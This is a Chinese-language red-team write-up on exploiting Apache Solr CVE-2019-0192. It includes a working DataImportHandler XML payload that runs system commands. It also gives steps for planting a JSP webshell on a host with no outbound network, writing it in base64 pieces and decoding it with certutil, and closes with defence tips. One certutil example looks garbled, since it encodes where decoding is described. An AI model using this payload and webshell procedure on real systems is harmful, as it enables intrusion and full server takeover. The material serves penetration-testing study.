某次红蓝对抗之Solr-RCE实战绕过
字数 1163 2025-08-27 12:33:54
Solr-RCE实战绕过技术文档(CVE-2019-0192)
1. 漏洞背景
Apache Solr是一个开源的搜索平台,基于Apache Lucene构建。CVE-2019-0192漏洞允许攻击者通过Solr的DataImportHandler功能实现远程代码执行(RCE)。
2. 漏洞利用条件
- 目标系统运行受影响版本的Apache Solr
- DataImportHandler功能已启用
- 攻击者能够访问Solr的管理界面
3. 基本利用方法
3.1 初始命令执行
基本payload结构:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("cmd /c whoami");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
3.2 命令执行限制
在实际测试中发现:
- 只能执行返回字段较少的命令(如
whoami、ipconfig) - 直接执行
dir命令失败 - 目标系统不出网(无法直接反弹shell)
4. 绕过技术
4.1 命令执行绕过
问题:直接执行dir失败
解决方案:使用完整路径调用命令
java.lang.Runtime.getRuntime().exec("cmd /c dir");
4.2 不出网情况下的利用
当目标不出网时,最佳选择是写入webshell。
4.2.1 寻找可写目录
- 使用命令执行查找Solr安装目录
- 确认.jsp文件不受路由规则限制
4.2.2 文件写入技术
初始问题:使用echo写入失败
原因:特殊字符导致写入失败
解决方案:对特殊字符进行编码
JSP webshell问题:
- JSP webshell包含
%字符 - 直接写入
%字符失败
最终解决方案:
- 使用Certutil进行base64编码/解码
- 分步骤写入:
- 先写入编码后的webshell内容
- 然后使用Certutil解码
示例命令:
java.lang.Runtime.getRuntime().exec("cmd /c certutil -encode encoded.txt 123.jsp");
4.2.3 写入后验证
- 检查文件是否成功写入
- 访问时出现500错误
- 查看文件内容发现问题:
- 解码时缺少
>字符 - 可能是目标系统一次性字符长度限制
- 解码时缺少
解决方案:
- 追加缺少的字符
- 分多次写入内容
5. 完整利用流程
- 确认漏洞存在(使用基本命令如whoami)
- 探测系统限制(命令长度、特殊字符等)
- 查找Solr目录结构
- 准备编码后的webshell
- 分步写入文件:
- 写入编码内容
- 使用Certutil解码
- 补全缺失字符
- 验证webshell可访问性
- 通过webshell获取系统完全控制权
6. 防御建议
- 及时升级Apache Solr到安全版本
- 禁用DataImportHandler功能(如不需要)
- 限制Solr管理界面的访问权限
- 实施网络隔离,限制Solr实例的出站连接
- 监控可疑的.jsp文件创建行为
7. 总结
该漏洞利用的关键点在于:
- 理解目标系统的命令执行限制
- 掌握特殊字符的绕过技术
- 在不出网环境下使用Certutil编码/解码技术
- 分步骤写入webshell并解决写入过程中的问题
通过系统性的测试和逐步解决问题,最终可以在限制较多的环境中成功利用该漏洞获取系统权限。